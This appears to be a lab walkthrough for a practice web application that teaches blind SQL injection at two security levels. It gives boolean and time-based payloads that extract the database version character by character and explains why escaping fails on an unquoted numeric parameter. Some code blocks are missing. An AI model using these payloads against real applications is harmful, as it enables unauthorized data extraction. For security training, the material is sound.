Overview
Blind SQL Injection is identical to normal SQL injection, except that when an attacker attempts to exploit the application, they don’t receive direct feedback from database queries. Instead of seeing error messages or query results, the attacker gets:- Generic error pages specified by the developer
- Different HTTP responses (200 OK vs 404 Not Found)
- Timing differences in page responses
- Boolean-based blind SQL injection: Asking a series of True/False questions through SQL statements
- Time-based blind SQL injection: Monitoring how long the application takes to respond
Time-Based Injection
The “time-based” method is often used when there’s no visible feedback in the page response. The attacker uses SQL commands that cause delays (likeSLEEP()) and measures response times. If the page takes longer than normal to respond, the injected query was successful.
Objective
Find the version of the SQL database software through a blind SQL injection attack.Security Levels
- Low
- High
Vulnerability Analysis
The low security level is vulnerable to blind SQL injection because it uses raw, unescaped user input directly in SQL queries, but only reveals whether a user exists or not (no actual data is displayed).Vulnerable Code
Test if user 1 exists
?id=1’ AND ‘1’=‘1 Result: “User ID exists” (True condition)?id=1’ AND ‘1’=‘2Result: “User ID is MISSING” (False condition)
If user exists, sleep for 5 seconds
?id=1’ AND sleep(5)— - Result: Page takes 5 seconds to loadTest database version character by character
?id=1’ AND IF(SUBSTRING(@@version,1,1)=‘5’, sleep(5), 0)— -Test first character of version
?id=1’ AND IF(SUBSTRING(@@version,1,1)=‘5’, sleep(5), 0)— -Extract version string character by character
?id=1’ AND IF(SUBSTRING(@@version,1,1)>‘4’, sleep(3), 0)— -Will return “exists” if first char of version is ‘5’
?id=1’ AND SUBSTRING(@@version,1,1)=‘5’— -mysqli_real_escape_string()escapes quotes and special characters- BUT the query has no quotes around
$id:WHERE user_id = $id - Numeric injection still works perfectly
Changes from Low Level
- Uses POST instead of GET
- Implements
mysqli_real_escape_string() - Dropdown UI instead of text input
- Doesn’t set 404 header (only message changes)
Why It’s Still Vulnerable
Since there are no quotes around the parameter, you can inject numeric SQL without needing to escape anything. The escaping function is completely ineffective.Testing Approach
Time-Based Injection (No Quotes Needed):Show Hint
Show Hint
Notice the query doesn’t have quotes around the user_id. You can inject without using single quotes.The sleep function still works, and you don’t need to escape anything.
Show Spoiler
Show Spoiler
Example payload: The number 53 is ASCII for ‘5’. If the first character of the version is ‘5’, the page will sleep.
?id=1 AND sleep(3)-- -&Submit=SubmitExtract the database version:Testing Methodology
Boolean-Based Blind SQLi
Extract data by asking true/false questions:Automated Tools
SQLMap can automate blind SQL injection:- Input Validation
